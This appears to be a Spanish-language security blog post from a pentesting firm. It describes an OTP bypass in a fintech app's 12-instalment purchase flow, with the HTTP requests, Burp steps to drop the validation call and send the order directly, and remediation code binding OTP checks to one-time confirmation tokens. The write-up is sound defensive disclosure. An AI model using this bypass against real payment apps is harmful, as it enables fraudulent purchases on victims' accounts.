El hallazgo en una línea

En el flujo de compra de una app de crédito (12 cuotas), el código OTP enviado por el banco emisor solo se validaba en una petición intermedia. La petición final que efectivamente confirmaba la orden y descontaba el crédito no incluía el OTP ni un identificador de transacción que lo vinculara al paso anterior. Resultado: con una sola interceptación de Burp, era posible saltarse el segundo factor.

El OTP estaba ahí. Se generaba. Se enviaba al usuario. Se validaba. Pero no protegía nada.

Por qué este patrón es tan común

Los flujos transaccionales en apps móviles suelen tener varios pasos:

  1. Cliente solicita la compra
  2. Servidor genera y envía OTP
  3. Cliente confirma con OTP
  4. Servidor procesa la transacción

El error clásico es asumir que la validación del paso 3 protege el paso 4. Como el frontend siempre llama 3→4 en orden, el desarrollador piensa que llegar a 4 implica haber pasado 3.

La realidad: cualquiera con un proxy puede ir directo al paso 4 si ese paso no exige ninguna prueba de que el paso 3 fue exitoso.

El flujo evaluado

La app permite comprar productos con financiamiento en 12 cuotas. El OTP llega por SMS desde la fintech emisora (no la app misma). El usuario lo introduce en la app y confirma.

Petición 1: validación del OTP

POST /clientes/validar-otp HTTP/1.1
Host: app-redacted.fintech-redacted.com:3005
Authorization: Bearer [REDACTED]
Content-Type: application/json

{
  "personUId": "[REDACTED]",
  "otp": "847291",
  "numeroOperacion": "[REDACTED]"
}

Respuesta:

{ "status": "OK", "valid": true }

Hasta aquí todo bien. El servidor verificó el OTP contra la base de datos.

Petición 2: confirmación de la orden

Inmediatamente después, la app envía:

POST /clientes/orden HTTP/1.1
Host: app-redacted.fintech-redacted.com:3005
Authorization: Bearer [REDACTED]
Content-Type: application/json

{
  "productName": "tennis",
  "costoProducto": 1.00,
  "cuotaSeleccionada": 12,
  "interest": 1.00,
  "total": 1.00,
  "personUId": "[REDACTED]",
  "numeroOperacion": "[REDACTED]"
}

Respuesta: orden creada exitosamente.

Notas críticas sobre esta segunda petición:

  • No incluye el OTP
  • No incluye un identificador de la validación previa (un validation_id, otp_token, confirmation_id, etc.)
  • El campo numeroOperacion es un identificador del producto/orden, no de la validación OTP
  • El servidor no verifica si el personUId tiene un OTP validado y aún vigente

Explotación

Con Burp interceptando todas las peticiones de la app:

  1. Iniciar el flujo de compra normalmente
  2. Ingresar cualquier valor en el campo de OTP, incluso vacío
  3. La petición 1 va a fallar ({"valid": false}) porque el OTP no es real
  4. No importa. Drop la petición 1 en Burp y forzar la 2 directamente
POST /clientes/orden HTTP/1.1
Host: app-redacted.fintech-redacted.com:3005
Authorization: Bearer [REDACTED]
Content-Type: application/json

{
  "productName": "tennis",
  "costoProducto": 1.00,
  "cuotaSeleccionada": 12,
  "personUId": "[REDACTED]",
  "numeroOperacion": "[REDACTED]"
}

El servidor procesa la orden. La compra se acredita. Nunca tuvimos que conocer el OTP.

Impacto real

En este caso el monto de prueba fue mínimo, pero el patrón es trivial de explotar a escala:

  • Compras fraudulentas usando una sesión robada o comprometida (otro vector: sesiones largas, malware en el dispositivo, etc.)
  • Si el atacante tiene credenciales válidas (phishing, credential stuffing) puede comprar sin ser bloqueado por el OTP
  • Aún más crítico: si el endpoint expone el personUId y la app no valida que coincida con el del token de sesión, podría escalar a compras a nombre de otros clientes

El OTP existe para protegerse de los dos primeros casos. Aquí no protegía de ninguno.

Remediación correcta

La fix tiene tres partes obligatorias:

1. Vincular el OTP a un identificador único de transacción

Cuando el servidor valida un OTP, debe emitir un token de un solo uso, vinculado al personUId, con expiración corta:

# Backend (paso 1): validación
def validate_otp(person_uid, otp_code, numero_operacion):
    if not otp_matches(person_uid, otp_code):
        return error_response("OTP inválido")

    confirmation_token = generate_uuid()
    redis.setex(
        f"otp_confirmed:{confirmation_token}",
        300,  # 5 minutos
        json.dumps({
            "person_uid": person_uid,
            "numero_operacion": numero_operacion,
            "validated_at": now()
        })
    )
    return {"confirmation_token": confirmation_token}

2. Exigir el token en la petición de confirmación

# Backend (paso 2): orden
def create_order(person_uid, confirmation_token, order_data):
    confirmation = redis.get(f"otp_confirmed:{confirmation_token}")
    if not confirmation:
        return error_response("Token de confirmación inválido o expirado")

    confirmation_data = json.loads(confirmation)
    if confirmation_data["person_uid"] != person_uid:
        return error_response("Token no corresponde al usuario")

    if confirmation_data["numero_operacion"] != order_data["numero_operacion"]:
        return error_response("Token no corresponde a la orden")

    redis.delete(f"otp_confirmed:{confirmation_token}")  # un solo uso
    process_order(order_data)

3. Defensa en profundidad

  • Expiración corta del token (1–5 minutos)
  • Token de un solo uso: borrarlo después de la primera redención
  • Validar que el person_uid y la operación coincidan entre el token y la petición
  • Logs persistentes de cada validación para detectar patrones anómalos

Cómo detectar este patrón en tus apps

Captura el tráfico con Burp o mitmproxy en cualquier flujo que tenga OTP/MFA. Para cada petición que requiere autenticación de segundo factor:

  1. ¿Hay un token de confirmación que vincula la validación con la acción siguiente?
  2. ¿El servidor lo verifica antes de procesar la acción crítica?
  3. ¿El token tiene expiración corta y es de un solo uso?

Si la respuesta a cualquiera es “no”, el OTP es decorativo.


¿Tu app móvil maneja transacciones, pagos o flujos críticos con OTP? Contáctanos para una evaluación enfocada en mobile security y autenticación.